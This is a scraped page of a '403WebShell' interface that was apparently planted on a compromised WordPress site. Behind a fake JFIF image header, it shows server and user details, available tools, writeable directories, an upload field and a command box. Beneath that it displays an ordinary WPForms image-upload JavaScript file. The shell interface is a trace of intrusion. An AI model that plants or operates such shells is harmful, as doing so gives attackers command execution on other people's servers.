????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.48.1  /  Your IP : 216.73.216.99
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/./buyeaa.com/wp-content/plugins/wpforms-lite/assets/js/admin/builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/./buyeaa.com/wp-content/plugins/wpforms-lite/assets/js/admin/builder/image-upload.js
/* global WPFormsUtils, wpf, wpforms_builder */

// noinspection ES6ConvertVarToLetConst
/**
 * WPForms Image Upload Control for Builder Settings.
 *
 * @since 1.9.7.3
 */

var WPForms = window.WPForms || {}; // eslint-disable-line no-var
WPForms.Admin = WPForms.Admin || {};
WPForms.Admin.Builder = WPForms.Admin.Builder || {};
WPForms.Admin.Builder.Settings = WPForms.Admin.Builder.Settings || {};

/**
 * Image Upload functionality for Settings.
 *
 * @since 1.9.7.3
 */
WPForms.Admin.Builder.Settings.ImageUpload = WPForms.Admin.Builder.Settings.ImageUpload || ( function( document, window, $ ) {
	/**
	 * Image Upload Control methods and properties.
	 *
	 * @since 1.9.7.3
	 *
	 * @type {Object}
	 */
	const app = {

		/**
		 * Start the engine.
		 *
		 * @since 1.9.7.3
		 */
		init() {
			$( document ).ready( app.ready );
		},

		/**
		 * Document ready.
		 *
		 * @since 1.9.7.3
		 */
		ready() {
			app.$builder = $( '#wpforms-builder' );

			app.bindEvents();
		},

		/**
		 * Bind events.
		 *
		 * @since 1.9.7.3
		 */
		bindEvents() {
			$( document ).on( 'click', '.wpforms-image-upload-button', app.openMediaUploader );
			$( document ).on( 'click', '.wpforms-image-remove-button', app.removeImage );
		},

		/**
		 * Open media uploader when upload button is clicked.
		 *
		 * @since 1.9.7.3
		 *
		 * @param {Object} e Event object.
		 */
		openMediaUploader( e ) {
			e.preventDefault();

			const $control = $( this ).closest( '.wpforms-image-upload-control' );
			const controlId = $control.attr( 'id' );

			app.frames = app.frames ?? {};

			// If the media frame already exists, reopen it.
			if ( app.frames[ controlId ] ) {
				app.frame = app.frames[ controlId ];
				app.frame.open();
				return;
			}

			// Create a new media frame.
			app.frame = wpf.initMediaLibrary( {
				extensions: wpforms_builder.upload_image_extensions,
				extensionsError: wpforms_builder.upload_image_extensions_error,
				buttonText: wpforms_builder.upload_image_button,
			} );

			// When an image is selected in the media frame.
			app.frame.on( 'select', function() {
				// Get media attachment details.
				const attachment = app.frame.state().get( 'selection' ).first().toJSON();

				// Set image to the control.
				app.setImage( $control, attachment );
			} );

			// Finally, open the modal.
			app.frame.open();

			// Store the frame.
			app.frames[ controlId ] = app.frame;
		},

		/**
		 * Get control elements.
		 *
		 * @since 1.9.7.3
		 *
		 * @param {Object} $control Control element.
		 *
		 * @return {Object} Control elements.
		 */
		getControlElements( $control ) {
			return {
				$control,
				$idField: $control.find( '.wpforms-image-upload-id' ),
				$urlField: $control.find( '.wpforms-image-upload-url' ),
				$preview: $control.find( '.wpforms-image-preview img' ),
				$uploadBtn: $control.find( '.wpforms-image-upload-button' ),
				$removeBtn: $control.find( '.wpforms-image-remove-button' ),
			};
		},

		/**
		 * Set image to the control.
		 *
		 * @since 1.9.7.3
		 *
		 * @param {jQuery} $control   Control element.
		 * @param {Object} attachment Attachment data.
		 */
		setImage( $control, attachment ) {
			// Get control elements.
			const { $idField, $urlField, $preview, $uploadBtn, $removeBtn } = app.getControlElements( $control );

			// Update preview.
			$preview.attr( 'src', attachment.url );

			// Update fields.
			$idField.val( attachment.id );
			$urlField.val( attachment.url );

			// Toggle buttons
			$uploadBtn.addClass( 'wpforms-hidden' );
			$removeBtn.removeClass( 'wpforms-hidden' );

			// Trigger custom change event.
			WPFormsUtils.triggerEvent( app.$builder, 'wpformsImageUploadChange', [ $control, attachment ] );
		},

		/**
		 * Remove image when remove button is clicked.
		 *
		 * @since 1.9.7.3
		 *
		 * @param {Object} e Event object.
		 */
		removeImage( e ) {
			e.preventDefault();

			const $control = $( this ).closest( '.wpforms-image-upload-control' );
			const { $idField, $urlField, $preview, $uploadBtn, $removeBtn } = app.getControlElements( $control );

			// Reset preview.
			$preview.attr( 'src', '' );

			// Clear fields.
			$idField.val( '' );
			$urlField.val( '' );

			// Toggle buttons.
			$uploadBtn.removeClass( 'wpforms-hidden' );
			$removeBtn.addClass( 'wpforms-hidden' );

			// Trigger custom change event.
			WPFormsUtils.triggerEvent( app.$builder, 'wpformsImageUploadChange', [ $control, null ] );
		},
	};

	return app;
}( document, window, jQuery ) );

// Initialize.
WPForms.Admin.Builder.Settings.ImageUpload.init();

Youez - 2016 - github.com/yon3zu
LinuXploit